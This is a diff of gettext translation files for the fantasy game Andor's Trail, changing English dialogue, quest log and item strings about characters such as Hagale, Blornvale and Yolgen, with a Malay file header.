msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22658,7 +22669,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22683,18 +22694,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22717,14 +22730,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -22940,7 +22945,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23042,7 +23047,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23077,62 +23082,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24366,7 +24315,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24548,7 +24497,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26256,7 +26204,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26264,7 +26212,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26325,7 +26273,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26359,7 +26307,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26410,10 +26358,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26474,7 +26418,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26885,7 +26829,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27061,7 +27005,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27212,7 +27156,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27238,7 +27182,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
@@ -27372,7 +27315,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27380,7 +27323,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27388,7 +27333,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27485,6 +27430,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27630,7 +27583,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27650,10 +27602,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27667,7 +27615,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27802,11 +27750,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27847,10 +27790,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27887,11 +27826,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -27916,10 +27850,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -27941,10 +27871,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -27961,11 +27895,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28061,7 +27991,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28151,7 +28081,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28187,7 +28117,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28510,7 +28440,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28522,7 +28452,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28542,7 +28472,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29052,11 +28982,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29068,7 +28998,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29086,11 +29016,11 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29106,11 +29036,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29118,7 +29048,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29310,62 +29240,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr "Pisau belati"
@@ -31286,10 +31160,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31346,10 +31216,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
@@ -31362,10 +31228,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36366,11 +36228,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36398,7 +36260,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36406,7 +36268,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36422,7 +36284,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -36982,7 +36844,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37002,7 +36864,7 @@ msgid "I killed the undead and took the key."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37013,14 +36875,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37029,10 +36883,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37050,7 +36900,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
@@ -37146,19 +36996,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37884,10 +37722,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -37896,14 +37730,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38311,7 +38137,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38328,7 +38154,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -1,3 +1,31 @@
# Malay translation for andors-trail
# Copyright (c) 2013 Rosetta Contributors and Canonical Ltd 2013
# This file is distributed under the same license as the andors-trail package.
# FIRST AUTHOR <EMAIL@ADDRESS>, 2013.
#
msgid ""
msgstr ""
"Project-Id-Version: andors-trail\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2013-11-10 11:48+0000\n"
"PO-Revision-Date: 2018-04-28 23:39+0000\n"
"Last-Translator: antuketot76 <antuketot76@protonmail.com>\n"
"Language-Team: Malay <https://hosted.weblate.org/projects/andors-trail/"
"game-content/ms/>\n"
"Language: ms\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: Weblate 3.0-dev\n"
"X-Launchpad-Export-Date: 2015-11-02 12:26+0000\n"
#: [none]
msgid "translator-credits"
msgstr ""
"Launchpad Contributions:\n"
" abuyop https://launchpad.net/~abuyop"
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr ""
@@ -2856,7 +2884,7 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
@@ -4632,7 +4660,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
